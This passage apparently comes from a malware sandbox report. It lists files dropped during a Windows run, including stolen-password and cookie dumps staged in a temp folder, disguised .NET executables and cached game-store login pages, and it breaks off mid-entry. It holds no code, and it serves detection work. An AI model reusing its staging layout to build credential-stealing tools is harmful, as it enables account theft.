[%TEMP%\~DF9FD016BE6A1E439C.TMP]- [targetUID: 00000000-00002728] "~DF7366F54DD74FC1A3.TMP" has type "data"- Location: [%TEMP%\~DF7366F54DD74FC1A3.TMP]- [targetUID: 00000000-00002520] "~DF6B273F8BDA7F9A22.TMP" has type "data"- Location: [%TEMP%\~DF6B273F8BDA7F9A22.TMP]- [targetUID: 00000000-00001612] "~DF6327FC62A00135FD.TMP" has type "data"- Location: [%TEMP%\~DF6327FC62A00135FD.TMP]- [targetUID: 00000000-00001612] "~DFCCCECFE9A5FBE440.TMP" has type "data"- Location: [%TEMP%\~DFCCCECFE9A5FBE440.TMP]- [targetUID: 00000000-00003452] "~DF8A16458B18393BB7.TMP" has type "data"- Location: [%TEMP%\~DF8A16458B18393BB7.TMP]- [targetUID: 00000000-00002520] "tooltip_1_.js" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "HtdXy-2D6mm_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "lFK_RCKM9IT_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "home_1_.css" has type "ASCII text with CRLF LF line terminators"- [targetUID: N/A] "header_1_.css" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: N/A] "header_logo_2_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "_24D5063A-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "login_1_.htm" has type "HTML document ASCII text with very long lines with no line terminators"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00003792] "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced"- [targetUID: N/A] "ysfm_2i9xtW_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "RecoveryStore._24D52D48-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_24D52D4A-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "epic-favicon-96x96_1_.png" has type "PNG image data 96 x 96 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "RecoveryStore._2504B16F-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._24D50638-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._268B131C-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_2504B171-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._26225690-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_53E75298-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_4_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "RKK6hMCj3R1_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "information.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\tempCMS4CRoIeEXM83E\information.txt]- [targetUID: 00000000-00003776] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\tempCMS4CRoIeEXM83E\passwords.txt]- [targetUID: 00000000-00003776] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003336] "_A4EB60C9-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_9D15B760-A31E-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_24D52D4C-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_518AB513-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_2B1D0BCB-A31F-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_52BB6536-A31B-11EE-B0C0-005056917959_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "FzXL11-8Cqh_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "hLRJ1GG_y0J_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "header_menu_hamburger_2_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "footerLogo_valve_1_.png" has type "PNG image data 96 x 26 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "code_box_1_.png" has type "PNG image data 222 x 28 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "friendlyname_box_1_.png" has type "PNG image data 222 x 28 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "RzdmIvZC8uQfDy4i343lMMhjPzjoHJDw.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\RzdmIvZC8uQfDy4i343lMMhjPzjoHJDw.zip]- [targetUID: 00000000-00003776] "logo_steam_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "motiva_sans_1_.css" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "footerLogo_valve_new_1_.png" has type "PNG image data 176 x 50 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00001932] "logo_valve_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "1FPNULrhhBJ_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "M08arqdo_nN_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "EQ0cyse2DGv_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00001932] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00003336] "ico_twitter_1_.png" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656]- [targetUID: 00000000-00001932] "CbM6CZG2ZAb_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "ico_facebook_1_.png" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "3FPJ9YC_wUr_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "www.facebook_1_.xml" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "Firefox_mj0wtyin.default-1692790883487.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\tempCMS4CRoIeEXM83E\Cookies\Firefox_mj0wtyin.default-1692790883487.txt]- [targetUID: 00000000-00003776] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00003336] "620BEF1064BD8E252C599957B3C91896" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\620BEF1064BD8E252C599957B3C91896]- [targetUID: 00000000-00001932] "v75M7CPu9-P_1_.js" has type "C source ASCII text"- [targetUID: N/A] "4T0IOT8E.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\4T0IOT8E.txt]- [targetUID: 00000000-00000696] "E87CE99F124623F95572A696C80EFCAF_9E9C5BD522DEAFF0AF9BF0B0877DDF33" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9E9C5BD522DEAFF0AF9BF0B0877DDF33]- [targetUID: 00000000-00003336] "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00000948] "E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96]- [targetUID: 00000000-00003336] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00003864] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00000696] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00000696] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00000696] "35DDEDF268117918D1D277A171D8DF7B_37E6CDD790978A086F5FC37183E97C01" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_37E6CDD790978A086F5FC37183E97C01]- [targetUID: 00000000-00003792] "F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1]- [targetUID: 00000000-00003336] "F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79]- [targetUID: 00000000-00001932] "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00003864] "F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06]- [targetUID: 00000000-00003336] "E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF]- [targetUID: 00000000-00000948] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00001612] "83D863F495E7D991917B3ABB3E1EB382_93CA7DD3F74767F1784DA2182DEEB39B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\83D863F495E7D991917B3ABB3E1EB382_93CA7DD3F74767F1784DA2182DEEB39B]- [targetUID: 00000000-00001932] "B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04]- [targetUID: 00000000-00000948] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00003792] "LDFDUeRDitE_1_.js" has type "ASCII text"- [targetUID: N/A] "UA7YNXEL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\UA7YNXEL.txt]- [targetUID: 00000000-00000696] "B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62]- [targetUID: 00000000-00001932] "-EdnrNYFrJy_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656]- [targetUID: 00000000-00001932] "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894]- [targetUID: 00000000-00001932] "dXk5exdOVhk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "83D863F495E7D991917B3ABB3E1EB382_93CA7DD3F74767F1784DA2182DEEB39B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\83D863F495E7D991917B3ABB3E1EB382_93CA7DD3F74767F1784DA2182DEEB39B]- [targetUID: 00000000-00001932] "F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F53EB4E574DE32C870452087D92DBEBB_7C087922A303D67589EB4C42E87D9B79]- [targetUID: 00000000-00001932] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00000696] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00003864] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00000696] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00000696] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00003336] "35DDEDF268117918D1D277A171D8DF7B_37E6CDD790978A086F5FC37183E97C01" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_37E6CDD790978A086F5FC37183E97C01]- [targetUID: 00000000-00003792] "E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96]- [targetUID: 00000000-00003336] "F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06]- [targetUID: 00000000-00003336] "E87CE99F124623F95572A696C80EFCAF_9E9C5BD522DEAFF0AF9BF0B0877DDF33" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_9E9C5BD522DEAFF0AF9BF0B0877DDF33]- [targetUID: 00000000-00003336] "F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1]- [targetUID: 00000000-00003336] "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00003864] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00001612] "HXCZF8B9.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HXCZF8B9.txt]- [targetUID: 00000000-00003864] "B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04]- [targetUID: 00000000-00000948] "E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF]- [targetUID: 00000000-00000948] "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00000948] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00003792] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00003336] "DYY5EH4L.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DYY5EH4L.txt]- [targetUID: 00000000-00001252] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003336] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00003776] "47YBMRPP.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\47YBMRPP.txt]- [targetUID: 00000000-00003864] "B23930QO.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\B23930QO.txt]- [targetUID: 00000000-00003792] "btn_header_installsteam_download_1_.png" has type "PNG image data 15 x 13 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "620BEF1064BD8E252C599957B3C91896" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\620BEF1064BD8E252C599957B3C91896]- [targetUID: 00000000-00001932] "DY21QCMC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DY21QCMC.txt]- [targetUID: 00000000-00000696] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00003792] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00003792] "BUCHPLUK.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\BUCHPLUK.txt]- [targetUID: 00000000-00003336] "RT2D1JVN.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\RT2D1JVN.txt]- [targetUID: 00000000-00003336] "LOJBXDYS.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\LOJBXDYS.htm]- [targetUID: 00000000-00003336] "76C4A5585D9099B27A68C7AA37A47AE7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\76C4A5585D9099B27A68C7AA37A47AE7]- [targetUID: 00000000-00001932] "SB1UALZA.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\SB1UALZA.txt]- [targetUID: 00000000-00003336] "UIW8OEZ2.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\UIW8OEZ2.txt]- [targetUID: 00000000-00000696] "A7WEABC6.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\A7WEABC6.txt]- [targetUID: 00000000-00003792] "NCS0GKX4.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\NCS0GKX4.txt]- [targetUID: 00000000-00003864] "btn_arrow_down_padded_1_.png" has type "PNG image data 19 x 12 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "7OQ1UPXT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\7OQ1UPXT.txt]- [targetUID: 00000000-00000696] "HZANPCMQ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HZANPCMQ.txt]- [targetUID: 00000000-00003336] "73N4UZYP.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\73N4UZYP.txt]- [targetUID: 00000000-00003336] "HFDH2LSM.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HFDH2LSM.txt]- [targetUID: 00000000-00003336] "3WU4ZTVC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3WU4ZTVC.txt]- [targetUID: 00000000-00003792] "9YH9FOYL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\9YH9FOYL.txt]- [targetUID: 00000000-00000696] "DBSFGI0R.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DBSFGI0R.txt]- [targetUID: 00000000-00003864] "JW9FKMTQ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\JW9FKMTQ.txt]- [targetUID: 00000000-00000948] "XWDFXV4B.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\XWDFXV4B.txt]- [targetUID: 00000000-00003336] "3LFPO2VW.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3LFPO2VW.txt]- [targetUID: 00000000-00000696] "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced"- [targetUID: N/A] "5QTZUPFM.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\5QTZUPFM.txt]- [targetUID: 00000000-00000696] "VCHJ0Z1T.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\VCHJ0Z1T.txt]- [targetUID: 00000000-00003336] "www.epicgames_1_.xml" has type "ASCII text with no line terminators"- [targetUID: N/A] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "rise131M9Asphalt.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\rise131M9Asphalt.tmp]- [targetUID: 00000000-00003776] "FANBooster131.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\FANBooster131\FANBooster131.exe]- [targetUID: 00000000-00003776] "OfficeTrackerNMP131.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%ALLUSERSPROFILE%\OfficeTrackerNMP131\OfficeTrackerNMP131.exe]- [targetUID: 00000000-00003776] "MaxLoonaFest131.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%LOCALAPPDATA%\MaxLoonaFest131\MaxLoonaFest131.exe]- [targetUID: 00000000-00003776] "logo_steam_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "Cab5B78.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab5B78.tmp]- [targetUID: 00000000-00003776] "favicon_3_.ico" has type "MS Windows icon resource - 5 icons 16x16 32 bits/pixel 24x24 32 bits/pixel"- [targetUID: N/A] "~DFA615E12365DD7122.TMP" has type "data"- Location: [%TEMP%\~DFA615E12365DD7122.TMP]- [targetUID: 00000000-00001612] "header_logo_1_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "urlref_httpswww.epicgames.comidlogin" has type "HTML document ASCII text with very long lines with no line terminators"- [targetUID: N/A] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00003792] "header_menu_hamburger_1_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "logo_valve_footer_2_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "KSQ0JA60.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\KSQ0JA60.txt]- [targetUID: 00000000-00000696]4b:T66d,"Tar5B79.tmp" has type "data" - Location: [%TEMP%\Tar5B79.tmp] "~DF47C19B616D7812C2.TMP" has type "data" - Location: [%TEMP%\~DF47C19B616D7812C2.TMP] "~DFE0762DD94D975065.TMP" has type "data" "~DF8A9701D62EDD0C73.TMP" has type "data" - Location: 